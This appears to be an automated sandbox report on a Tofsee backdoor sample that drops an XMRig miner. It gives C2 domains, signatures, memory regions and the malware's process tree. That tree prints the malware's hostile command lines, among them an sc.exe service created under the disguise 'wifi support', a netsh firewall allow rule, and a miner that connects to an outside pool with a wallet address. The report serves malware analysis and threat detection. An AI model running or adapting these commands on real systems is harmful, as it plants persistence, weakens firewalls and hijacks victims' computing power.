Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2023, 10:31

General

  • Target
    file.exe
  • Size 318KB
  • Sample230107-mkdrnsdc93
  • SHA256 3078c13fca99a4d4f0b7de6267e50cbc10f2e8dfc89bd28ebb4d2fd091841f7c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 6 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jhtxhcti\
      2⤵
        PID:4336
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brkifovu.exe" C:\Windows\SysWOW64\jhtxhcti\
        2⤵
          PID:1104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jhtxhcti binPath= "C:\Windows\SysWOW64\jhtxhcti\brkifovu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jhtxhcti "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jhtxhcti
          2⤵
          • Launches sc.exe
          PID:4652
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4928
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2072 -s 676
          2⤵
          • Program crash
          PID:1828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2072 -s 580
          2⤵
          • Program crash
          PID:760
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2072 -s 1236
          2⤵
          • Program crash
          PID:2736
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2072 -ip 2072
        1⤵
          PID:208
        • C:\Windows\SysWOW64\jhtxhcti\brkifovu.exe
          C:\Windows\SysWOW64\jhtxhcti\brkifovu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:320
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3144
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3544
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 516
            2⤵
            • Program crash
            PID:428
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 524
            2⤵
            • Program crash
            PID:1800
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 540
            2⤵
            • Program crash
            PID:3288
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2072 -ip 2072
          1⤵
            PID:3804
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2072 -ip 2072
            1⤵
              PID:3476
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 320 -ip 320
              1⤵
                PID:2376
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 320 -ip 320
                1⤵
                  PID:2052
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 320 -ip 320
                  1⤵
                    PID:1156

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        brkifovu.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\brkifovu.exe
                        • Size 14.9MB
                        • SHA256 e210f16a8126aa8103575e2763f2e4fae3ea36282f53da5fc5c5ba4341f495fa
                        • MD5 SHA1 SHA512 SSDEEP

                        brkifovu.exe

                        • Path C:\Windows\SysWOW64\jhtxhcti\brkifovu.exe
                        • Size 14.9MB
                        • SHA256 e210f16a8126aa8103575e2763f2e4fae3ea36282f53da5fc5c5ba4341f495fa
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/320-152-0x0000000000400000-0x0000000003013000-memory.dmp

                        memory/320-150-0x0000000003129000-0x000000000313E000-memory.dmp

                        memory/2072-144-0x0000000003020000-0x0000000003033000-memory.dmp

                        memory/2072-133-0x0000000003020000-0x0000000003033000-memory.dmp

                        memory/2072-135-0x0000000000400000-0x0000000003013000-memory.dmp

                        memory/2072-132-0x000000000306D000-0x0000000003082000-memory.dmp

                        memory/2072-145-0x0000000000400000-0x0000000003013000-memory.dmp

                        memory/2072-143-0x000000000306D000-0x0000000003082000-memory.dmp

                        memory/3144-157-0x0000000002330000-0x0000000002336000-memory.dmp

                        memory/3144-169-0x00000000031D0000-0x00000000031D7000-memory.dmp

                        memory/3144-147-0x0000000000DB0000-0x0000000000DC5000-memory.dmp

                        memory/3144-166-0x0000000007CC0000-0x00000000080CB000-memory.dmp

                        memory/3144-151-0x0000000000DB0000-0x0000000000DC5000-memory.dmp

                        memory/3144-163-0x00000000023F0000-0x00000000023F5000-memory.dmp

                        memory/3144-153-0x0000000000DB0000-0x0000000000DC5000-memory.dmp

                        memory/3144-154-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                        memory/3144-160-0x0000000002340000-0x0000000002350000-memory.dmp

                        memory/3544-173-0x0000000000C50000-0x0000000000D41000-memory.dmp

                        memory/3544-178-0x0000000000C50000-0x0000000000D41000-memory.dmp